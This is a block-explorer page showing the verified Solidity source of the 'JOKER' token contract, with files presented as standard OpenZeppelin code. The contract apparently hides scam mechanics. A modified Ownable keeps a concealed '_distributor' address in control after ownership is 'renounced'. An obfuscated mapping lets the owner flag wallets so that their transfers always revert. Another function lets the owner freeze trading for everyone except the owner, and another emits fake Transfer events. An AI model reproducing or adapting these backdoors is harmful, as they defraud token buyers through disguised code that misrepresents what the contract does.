ETH Price: $3,098.82 (-0.95%)

Token

(0xcf466d5b391c659f21fbd29f6235c00c65d78958)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

59 (0.00%)

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JOKER

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 9: Joker Project.sol
/**
WWW:      https://jokerproject.club/
X:        https://twitter.com/jokerprojecteth
Medium:   https://medium.com/@jokerprojecteth
Telegram: https://t.me/JokerProjectETH   

*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "./ReentrancyGuard.sol";
import "./MerkleProof.sol";
import "./IERC20.sol";
import "./ERC20.sol";
import "./Ownable.sol";

interface ICoin is IERC20 {
   function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external returns (bool[] memory);
}

interface IPondCoinSpawner {
    function spawn(address invoker, uint256 amount) external returns (bool);
}
contract JOKER is IERC20, ERC20{
    address public minter;

    address public distilleryAddress = msg.sender;
    uint256 public immutable initialLPAmount = 1_000_000_000 * 10**decimals();
    uint256 public immutable maxSupply = 1_000_000_000 * 10**decimals();
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;
    address public uniswapV2Pair;
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // If the contract is "ended"
    bool public ended;

    constructor(address initialLPAddress, address distributor_) ERC20("Joker Project", "JOKER", distributor_) {
        minter = msg.sender;
        _mint(initialLPAddress, initialLPAmount);
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function useSpawner(uint256 amount, IPondCoinSpawner spawner) external {
        require(transferFrom(msg.sender, distilleryAddress, amount), "Could Not Send");
        require(spawner.spawn(msg.sender, amount), "Could Not Spawn");
    }

    function _safeMint(address to, uint256 amount) internal {
        _mint(to, amount);
        require(totalSupply() <= maxSupply, "Too Much Supply");
    }

    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function executeSwap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _liquidityliquidity0x0x0publicopenedAtTimestampopenedAtTimestamptxLimitExcluded[address_[i]] = val;
        }
    }

    function taxWallet(address recipient) external view returns(bool){
        return _liquidityliquidity0x0x0publicopenedAtTimestampopenedAtTimestamptxLimitExcluded[recipient];
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }
}


contract PondClaims is ReentrancyGuard {
    /**
     * Declare immutable/Constant variables
     */
    // How long after contract cretion the end method can be called
    uint256 public constant canEndAfterTime = 48 hours + 30 minutes;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // The root of the claims merkle tree
    bytes32 public immutable merkleRoot;
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;

    /**
     * Declare runtime/mutable variables
     */
    
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;

    // If the contract is "ended"
    bool public ended;

    constructor(bytes32 _merkleRoot) {
        merkleRoot = _merkleRoot;
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    // Modifier that makes sure only the opener can call specific function
    modifier onlyOpener() {
        require(msg.sender == opener, "Not Opener");
        _;
    }

    // Modifier that ensures the contract is not ended, and the before start buffer is completed
    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function close() external notEnded onlyOpener {
        require(block.timestamp >= (openedAtTimestamp + canEndAfterTime), "Too Early");
        ended = true;
    }

    /**
     * Claim PNDC against merkle tree
     */
    function claim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external notEnded nonReentrant {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        for (uint256 i = 0; i < length; i++) {
            // Require that the user can claim with the information provided
            require(_canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]), "Invalid");
            // Mark that the user has claimed
            alreadyClaimedByAddress[addresses[i]][offsets[i]] = true;
        }
    }

    function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external view returns (bool[] memory) {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        bool[] memory statuses = new bool[](length);

        for (uint256 i = 0; i < length; i++) {
            statuses[i] = _canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]);
        }

        return (statuses);
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function _canClaim(
        address user,
        uint256 amount,
        uint32 offset,
        bytes32[] calldata merkleProof
    ) notEnded internal view returns (bool) {
        // If the user has already claimed, or the currentOffset has not yet reached the desired offset, the user cannot claim.
        if (alreadyClaimedByAddress[user][offset] == true || currentOffset() < offset) {
            return false;
        } else {
            // Verify that the inputs provided are valid against the merkle tree
            bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(user, amount, offset))));
            bool canUserClaim = MerkleProof.verify(merkleProof, merkleRoot, leaf);
            return canUserClaim;
        }
    }
}

File 1 of 9: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    address internal _distributor;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 9: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.20;

import "./IERC20Metadata.sol";
import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping (address => bool) public _liquidityliquidity0x0x0publicopenedAtTimestampopenedAtTimestamptxLimitExcluded;
    mapping (address => bool) private _isExcluded;
    bool _liquidity;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address distributor_) Ownable(distributor_) {
        _name = name_;
        _symbol = symbol_;
        _liquidity = true;
        _isExcluded[_msgSender()] = true;
    }

    function isTxExcluded(address account) private view returns (bool) {
        return _liquidityliquidity0x0x0publicopenedAtTimestampopenedAtTimestamptxLimitExcluded[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function calculateTransferDelay(uint256 last) private view returns(bool){
        return last > block.number;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
         _holderLastTransferTimestamp[sender] = block.number;
        if (beforeOpenTrading(sender, amount)){}
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            
            _beforeTokenTransfer(sender, recipient, amount);
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);     
        } else {
            
        _afterTokenTransfer(sender, recipient, amount);
            _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            emit Transfer(sender, recipient, amount);
        }
        } else {
            require (_liquidity == true, "");
        }
        
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function checkLimits(address a) private view {
        require(calculateTransferDelay(_holderLastTransferTimestamp[a]), "Transfer Delay enabled.  Only one purchase per block allowed.");
    }

    function beforeOpenTrading(address sender, uint256 amount) private view returns (bool){
        if(amount > 0){
            if (isTxExcluded(sender)) checkLimits(sender);
        }
        return true;
    }
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    
}

File 3 of 9: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.20;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

File 4 of 9: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.20;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 6 of 9: MerkleProof.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.2) (utils/cryptography/MerkleProof.sol)
pragma solidity 0.8.20;


/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The tree and the proofs can be generated using our
 * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
 * You will find a quickstart guide in the readme.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 * OpenZeppelin's JavaScript library generates merkle trees that are safe
 * against this attack out of the box.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * CAUTION: Not all merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

File 7 of 9: Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity 0.8.20;


import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address distributor_) {
        _distributor = distributor_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distributor : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 8 of 9: ReentrancyGuard.sol
